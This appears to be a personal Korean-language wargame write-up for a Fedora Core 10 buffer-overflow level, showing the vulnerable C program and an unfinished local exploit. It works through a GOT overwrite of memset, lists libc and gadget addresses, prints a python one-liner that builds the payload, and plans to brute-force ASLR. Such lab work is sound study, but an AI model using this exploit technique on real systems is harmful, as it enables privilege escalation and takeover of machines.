FC10 balog

문제 전문

 

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- talos
	- Local BOF on Fedora Core 10
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

extern char **environ;
char *saved_argv1;
int len_of_argv1;

int main(int argc, char *argv[])
{
	char buffer[4];
	int egg_hunter;

	if(argc != 2)
	{
		printf("argc Error!!\n");
		exit(-1);
	}

	// EggHunter!!
	for(egg_hunter=0; environ[egg_hunter]; egg_hunter++)
		memset(environ[egg_hunter], 0, strlen(environ[egg_hunter]));

	saved_argv1 = argv[1];
	len_of_argv1 = strlen(argv[1]);

        // Buffer Overflow!!
	strcpy(buffer, argv[1]);
        
	// clearing argv[1] 
	memset(saved_argv1, 0, len_of_argv1);
        
	environ = 0;
	saved_argv1 = 0;
	len_of_argv1 = 0;

	return 0; 
}

 

이전 문제에 사용했던 환경변수를 막는다. 

하지만 언제나 새로운건 생각하지 못하지!

 

아 이거 문제파일에 ASLR이 안 걸려 있고, egg hunter 사용해도 프로그램 이름은 메모리에 올라가는 걸 확인해서 그대로 쉘코드 올려서 실행하려고 삽질하다가 생각해보니 x권한 없음 ㅠ 

 

그러다가 저번 문제 삽질했던 내용이 생각남!

 

메모리에 코드를 올리는 공간만 다르지, exploit 코드는 내가 삽질했던 것과 크게 다르지 않을 것이라고 생각 됨

GOT overwrite를 해서 진행해보자 (사실 아는 게 이거밖에...)

 

strcpy@plt    : 0x0804 83ec

memset@plt  : 0x0804 83bc

memset@got: 0x0804 9838

PPR godget : 0x0804 8697

system 주소 : 0x002e 3670

/bin/sh 주소 : 0x003e 9db5

objdump로 구한 바이트별 주소 

 

0x00 : 0x0804 8158

0x2e : 0x0804 8290

0x36 : 0x0804 8294

0x70 : 0x0804 819c

 

따로 bash쉘을 거칠 게 아니기 때문에, down privilege는 신경 안 써도 될 것 같다. 

 

페이로드 구성 

dummy(8) + (return address) + strcpy@plt + PPR + (memset@got)     + 0x70 주소

                                       + strcpy@plt + PPR + (memset@got+1) + 0x36 주소

                                       + strcpy@plt + PPR + (memset@got+2) + 0x2e 주소

                                       + strcpy@plt + PPR + (memset@got+3) + 0x00 주소

                                       + memset@plt + dummy(4) + (/bin/sh 주소)

 

return address를 알기 위해서 해당 페이로드의 길이로 복사본을 만들고 프로그램 이름의 위치를 찾아보자.

길이 : 88

 

이름이 88칸일 때 이름이 담겨있는 주소 : 0xbfff ffa3

담겨져 있는 페이로드 중 strcpy@plt가 있는 주소 : 0xbfff ffaf

근데 return될 때 ecx를 덮으면 -4의 주소가 실행되므로 (실행 전 pop ebp로 인해)

0xbfff ffb3이 ret_addr이다.

 

다 하고 링크 걸어서 하는데 ASLR 뜸

 

여태 항상 복사본으로 만들어서 gdb 분석하고 할 때는 보호기법도 다 그대로 따라왔는데

이번에는 아니었음

 

고로 위에 한 거 다 삽질 ㅅㄱ 자러감

 

 

------------------------------- 4. 17.

 

아무리 생각해도 따로 건드릴 부분이 없음

 

제목을 270자 정도로 맞추고 계속확인해보면

stack의 bf 고정 뒤의 3자리 고정으로

가운데 3자리만 변동함

 

그래서 fake ebp를 통해서 nope코드로 이동하고 위의 GOT overwrite 한거까지 이용해서

exploit 하려고 했는데,

 

오늘은 일단 여기까지... 답 공개되기 전에 풀구 싶당

 

그래서 우선 파일 이름을 nop 194 + strcpy@plt 부터 시작하는 76 byte의 페이로드 (합 : 270)로 링크 걸고

 

근데 nop도 instruction으로 취급되면 stack에서 실행이 안 될텐데...

그냥 nop 제거한 76byte 페이로드로 다시 해보겠음!

python -c 'print "\xec\x83\x04\x08"+"\x97\x86\x04\x08"+"\x38\x98\x04\x08"+"\x9c\x81\x04\x08"+"\xec\x83\x04\x08"+"\x97\x86\x04\x08"+"\x39\x98\x04\x08"+"\x94\x82\x04\x08"+"\xec\x83\x04\x08"+"\x97\x86\x04\x08"+"\x3a\x98\x04\x08"+"\x90\x82\x04\x08"+"\xec\x83\x04\x08"+"\x97\x86\x04\x08"+"\x3b\x98\x04\x08"+"\x58\x81\x04\x08"+"\xbc\x83\x04\x08"+"AAAA"+"\xb5\x9d\x3e\x00"'

 

gdb로 했을 때와 실제 프로그램 실행시킬 때 약간의 차이가 있을 것으로 예상되는데

 

return 주소를 어떻게 잡아야 할지 감이 안 온다!

하나씩 바꾸면서 500번씩만 해도 이게 brute force로 푸는 게 맞는 건지 의아하지만 우선 한동안은 이대로 해보겠음.

 

현재 최하위 3비트 b0f부터 시작 가운데 3비트 값은 c95로 고정하기로 함 그냥 적당히 잡은 값